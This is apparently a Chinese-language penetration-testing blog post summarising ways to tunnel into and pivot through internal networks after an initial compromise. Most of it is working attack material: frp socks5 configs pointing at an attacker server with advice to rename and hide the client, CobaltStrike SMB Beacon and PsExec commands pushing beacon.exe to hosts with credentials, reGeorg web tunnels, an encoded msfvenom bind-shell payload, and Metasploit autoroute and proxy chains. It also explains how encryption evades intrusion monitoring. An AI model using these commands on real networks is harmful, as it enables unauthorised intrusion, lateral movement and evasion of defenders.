內網穿透的常用方法總結

vege發表於2020-11-29

前言

在內網滲透時,一個WebShell或CobaltStrike、Metasploit上線等,只是開端,更多是要內網橫向移動,擴大戰果,打到核心區域。但後滲透的前提是需要搭建一條通向內網的“專屬通道”,才能進一步攻擊。可實戰中因為網路環境不同,所利用的方式就不同。

本文內容按以下思維導圖展開

 目標出網(socks代理)

這是實戰中最願意碰到的網路環境,目標機可以正常訪問網際網路,可直接在目標機掛socks代理或CobaltStrike上線,打通目標的內網通道。

frp(socks5)

frp服務端配置檔案

[common]
bind_port = 8080

frp客戶端配置檔案

[common]
server_addr = xx.xx.xx.xx
server_port = 8080
#服務埠使用Web常見埠
[socks5]
type = tcp
remote_port = 8088
plugin = socks5
use_encryption = true
use_compression = true
#socks5口令
#plugin_user = SuperMan
#plugin_passwd = XpO2McWe6nj3

此處新增了加密壓縮這兩個功能,預設是不開啟的,根據作者介紹,壓縮演算法使用的是 snappy。

use_encryption = true 啟用加密 [通訊內容加密傳輸,有效防止流量被攔截]

use_compression = true 啟用壓縮 [傳輸內容進行壓縮,有效減小傳輸的網路流量,加快流量轉發速度,但會額外消耗一些CPU資源]

use_encryption = true 、use_compression = true 必須放在相關協議下面。

frp客戶端與配置檔案傳到目標機後,把程式名與配置檔案進行修改,並放在系統相關資料夾中,做到隱蔽

 setg Proxies socks5:xxx.xxx.xxx.xxx:8088

加密壓縮的對比

這是frp客戶端配置檔案中未使用 encryption 與 compression 功能,利用metasploit掛socks代理,掃描ms17_010傳輸的資料包,明顯可辨別出具體攻擊行為。如果目標內網有”態勢感知“、流量分析等安全裝置,就會被監測到,導致許可權丟失。

 使用 encryption 與 compression 功能後,雖攻擊源地址同樣會暴露,但傳輸的資料包卻無法辨別,規避了內網中的安全監測裝置

CobaltStrike (socks4a)

到已控目標機的Beacon下將socks代理開啟

beacon > socks 1024 #埠根據VPS實際情況進行設定

 選單欄中的 View > Proxy Pivots ,複製代理連線到Metasploit中,或直接將socks4a掛在相關安全工具中。

上線不出網機器

這是link連結,只要主鏈路(出網機Beacon)掉線,均掉!

SMB Beacon

官方對SMB Beacon的介紹:SMB Beacon是使用命名管道通過父級Beacon進行通訊,當兩個Beacons連結後,子Beacon從父Beacon獲取到任務併傳送。因為連結的Beacons使用Windows命名管道進行通訊,此流量封裝在SMB協議中,所以SMB Beacon相對隱蔽。

建立一個SMB的Listener (host與port可無視),注意Listener選擇,在session中選擇route可達的主機派生會話。

(在Listner生成SMB Beacon>目標主機>右鍵> spawn as>選中對應的Listener>上線)

 執行成功後,可以看到 ∞∞ 這個字元,這就是派生SMB Beacon的連線狀態。

 可在主Beacon上用link host連結或unlink host斷開。

beacon> link 192.168.144.155
beacon> unlink 192.168.144.155

Link Listener

 在已上線的主機建立Listener。

 

 

 

 匯出該型別Listener對應的可執行檔案或dll等。

 

 

 選擇剛建立的Listener。

 

 

 上傳剛才生成的payload到當前已上線的目標機中,這裡用PsExec.exe 工具 。(CobalStrike本身psexec功能不夠強大)

 

 

 在Beacon中使用PsExec工具將payload上傳到不出網的目標機中,自動執行,上線。

beacon> shell C:\WINDOWS\Temp\PsExec.exe -accepteula \\192.168.144.155,192.168.144.196 -u administrator -p admin@123 -d -c C:\WINDOWS\Temp\beacon.exe

beacon> shell netstat -ano |findstr 4444

SSH Login
beacon> ssh 192.168.144.174:22 root admin
beacon> ssh 192.168.144.203:22 root admin

 

 

 在Linux目標機中檢視網路連線狀態,實際是與之前已上線的Windows主機建立的連線。

目標不出網(http代理)

目標機網路中可能有防火牆、網閘等,只允許http單向出,無法正常訪問網際網路,用上述socks方法是行不通的,只能用http代理進行滲透。

reGeorg (socks5)

python reGeorgSocksProxy.py -u http://192.168.144.211/tunnel.aspx -l 0.0.0.0 -p 10080

 

 

 利用metasploit掛reGeorg socks代理,掃描ms17_010傳輸的資料包,明顯可辨別攻擊行為。

Neo-reGeorg (加密)

python neoreg.py -k test@123 -l 0.0.0.0 -p 10081 -u http://192.168.144.211/neo-tunnel.aspx

使用Neo-reGeorg後,資料包已被加密傳輸。

 

 

冰蠍 (開socks5)

冰蠍的資料包傳輸是加密的,本身也具備socks代理功能,但傳輸過程中存在丟包情況。這裡同樣是利用metasploit探測ms17_010漏洞,結果顯示不存在。當不設定代理探測時,實際漏洞是存在的。

雖然冰蠍的這種代理掃描方式不如reGeorg準確,但小執行緒的埠探測等是可行的,如 auxiliary/scanner/portscan/tcp。準確度更多是因某種探測或其他方式的資料包在傳輸過程中的多少而決定。

reduh (單埠轉發)

reduh使用:https://blog.csdn.net/nzjdsds/article/details/82930774

當目標伺服器中介軟體等服務版本較低,reGeorg或冰蠍馬等無法正常解析,就需要換用其它的http代理指令碼。這是某實戰中遇到的環境:

 

 這裡以reduh為例,雖然只能對指定的埠進行轉發 (不適用圖形化連線操作),但可以先利用msfvenom生成正向的shell payload,再結合reduh單埠轉發,上線metasploit,最後利用socks4a模組開代理。

下面把具體的流程走一遍:

sudo msfvenom --platform windows -p windows/shell_bind_tcp lport=53 -e x86/shikata_ga_nai -i 5 -f exe -o x86shell.exe

#--platform <platform> 指定payload的目標平臺
#-e, --encoder <encoder> 指定需要使用的編碼器
#-i, --iterations <count> 指定payload的編碼次數

 

 上傳payload到目標伺服器,並執行。

 

metasploit是監聽轉發後的地址與埠。

 

sudo msfconsole -q
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/shell_bind_tcp
msf5 exploit(multi/handler) > set rhost 127.0.0.1
msf5 exploit(multi/handler) > set lport 5353
msf5 exploit(multi/handler) > run -j

java -jar reDuhClient.jar http://103.242.xx.xx/reduh.aspx

telnet 127.0.0.1 1010
>>[createTunnel]5353:127.0.0.1:53

 

 可在metasploit滲透,或開啟一個socks4a,掛載其他安全工具上繼續滲透。

msf5 exploit(multi/handler) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > set srvport 10080
msf5 auxiliary(server/socks4a) > run -j

注意

為什麼payload要用shell,而不用meterpreter。meterpreter是高階的payload,傳輸中佔用大量資料包,這種單埠轉發上線metasploit,本就不是很穩定,meterpreter會使“小水管”更加不穩定!

隔離網路(多級代理)

 內網滲透中,會遇到隔離網路,更多時候是邏輯上的隔離,突破的辦法就是拿到route可達的跳板機 (多張網路卡、運維機等)的許可權,建立一層二級代理、三級代理…

frp

現拿到一臺雙網路卡內網伺服器許可權,可以用frp建立通道,這臺伺服器既是服務端也是客戶端。

(具體,參考https://www.cnblogs.com/PANDA-Mosen/p/13096260.html)

proxifier

用frp建立好後,結合proxifier新增兩條代理:外網socks、內網socks,之後建立代理鏈 。(注意代理順序)

 

 設定代理規則,選擇對應代理。

 

 二層代理成功,內網隔離機445探測開放。

Proxychains

命令列代理神器proxychains,設定二層代理、socks口令。(注意代理順序)

 

 聯動metasploit,ms17_010探測,可以看到代理鏈的傳輸過程。

 

針對metasploit的利用,只要sessions中的route可達,就可以直接進行多層網路滲透,更加方便。但主session掉,均掉!

在獲取目標一個sessions 後,可以檢視IP段資訊並自動新增路由表。

msf5 exploit(multi/handler) > sessions 1
meterpreter > run get_local_subnets
meterpreter > run autoroute -p
meterpreter > run post/multi/manage/autoroute
meterpreter > run autoroute -p
meterpreter > background

 

 上述是在meterpreter許可權中新增,或當知道目標路由表資訊時,可直接新增。

msf5 exploit(multi/handler) > route add 172.20.20.0/24 1 //session id 1
msf5 exploit(multi/handler) > route

 

 可在metasploit繼續滲透,或開啟一個socks,掛載其他工具上多層穿透。

msf5 exploit(multi/handler) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > set srvport 1080
msf5 auxiliary(server/socks4a) > run -j

然後開啟/etc/proxychains.conf

 

相關文章